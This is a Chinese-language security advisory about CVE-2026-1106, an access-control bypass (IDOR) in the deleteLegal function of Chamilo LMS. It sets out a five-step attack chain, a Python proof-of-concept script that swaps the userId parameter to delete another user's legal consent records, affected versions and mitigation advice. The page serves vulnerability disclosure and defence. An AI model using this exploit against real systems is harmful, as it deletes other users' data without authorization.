IPBUF安全漏洞报告
English
CVE-2026-1106 CVSS 5.4 中危

CVE-2026-1106 Chamilo LMS deleteLegal函数权限绕过漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-1106
漏洞类型
不适当授权/访问控制绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

Chamilo LMSIDOR权限绕过访问控制不安全直接对象引用Legal Consent HandlerSocialControllerCVE-2026-1106

漏洞概述

CVE-2026-1106是Chamilo LMS学习管理系统中的一个中等严重性安全漏洞,CVSS评分5.4。该漏洞存在于src/CoreBundle/Controller/SocialController.php文件的deleteLegal函数中,属于Legal Consent Handler组件。攻击者可以通过操纵userId参数来绕过正常的授权检查,执行本不该允许的操作。由于该漏洞可通过网络远程利用,且不需要高权限即可发起攻击,因此对未修复的系统构成中等程度的安全风险。漏洞利用代码已被公开披露,可能被恶意行为者利用进行未授权的数据删除或修改操作。值得注意的是,厂商在收到漏洞报告后未做出任何回应。

技术细节

该漏洞属于水平权限绕过问题。在Chamilo LMS的SocialController.php文件中,deleteLegal函数在处理用户删除法律同意记录请求时,未正确验证当前登录用户是否具有操作目标用户数据的权限。攻击者只需修改请求中的userId参数,即可尝试删除其他用户的法律同意记录。漏洞的核心问题在于服务端对用户身份的验证不充分,允许低权限用户通过参数篡改的方式访问或操作其他用户的数据资源。攻击者可通过构造恶意HTTP请求,将目标用户的ID作为userId参数传递,从而触发不安全的直接对象引用(IDOR)漏洞。此类漏洞通常与访问控制机制设计缺陷相关,攻击者可利用API端点直接操作资源而不经过适当的权限验证流程。

攻击链分析

STEP 1
步骤1
攻击者首先在Chamilo LMS平台上注册账号并登录,获取有效的会话cookie
STEP 2
步骤2
攻击者通过正常途径访问deleteLegal功能,记录请求中的userId参数值
STEP 3
步骤3
攻击者拦截HTTP请求,将userId参数值修改为目标受害者的用户ID
STEP 4
步骤4
服务器端未验证userId与当前会话用户的匹配关系,直接执行删除操作
STEP 5
步骤5
受害用户的法律同意记录被成功删除,导致数据完整性受损

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-1106 PoC - Chamilo LMS deleteLegal IDOR Vulnerability Note: This is a proof-of-concept for authorized security testing only """ import requests import sys def exploit_delete_legal(target_url, session_cookie, attacker_user_id, target_user_id): """ Exploit the IDOR vulnerability in Chamilo LMS deleteLegal function Args: target_url: Base URL of the Chamilo LMS instance session_cookie: Valid session cookie for authenticated user attacker_user_id: Attacker's own user ID target_user_id: Victim's user ID to delete legal consent for """ # The vulnerable endpoint endpoint = f"{target_url}/Social/deleteLegal" # Normal request (delete own legal consent) normal_params = { "userId": attacker_user_id } # Malicious request (delete victim's legal consent - IDOR) malicious_params = { "userId": target_user_id # Manipulated to target another user } headers = { "Cookie": f"{session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Target: {target_url}") print(f"[*] Attacker User ID: {attacker_user_id}") print(f"[*] Target User ID: {target_user_id}") # Send malicious request try: response = requests.post(endpoint, data=malicious_params, headers=headers) if response.status_code == 200: print("[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie> <attacker_id> <target_id>") sys.exit(1) exploit_delete_legal(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

影响范围

Chamilo LMS < 2.0.0 Beta 1

防御指南

临时缓解措施
如果无法立即升级,可通过Web应用防火墙(WAF)规则限制deleteLegal端点的访问频率和参数范围,同时在反向代理层添加请求参数校验逻辑,阻止异常的userId参数篡改行为。建议对Legal Consent Handler组件的所有功能进行代码审计,确保每个操作都经过正确的权限验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表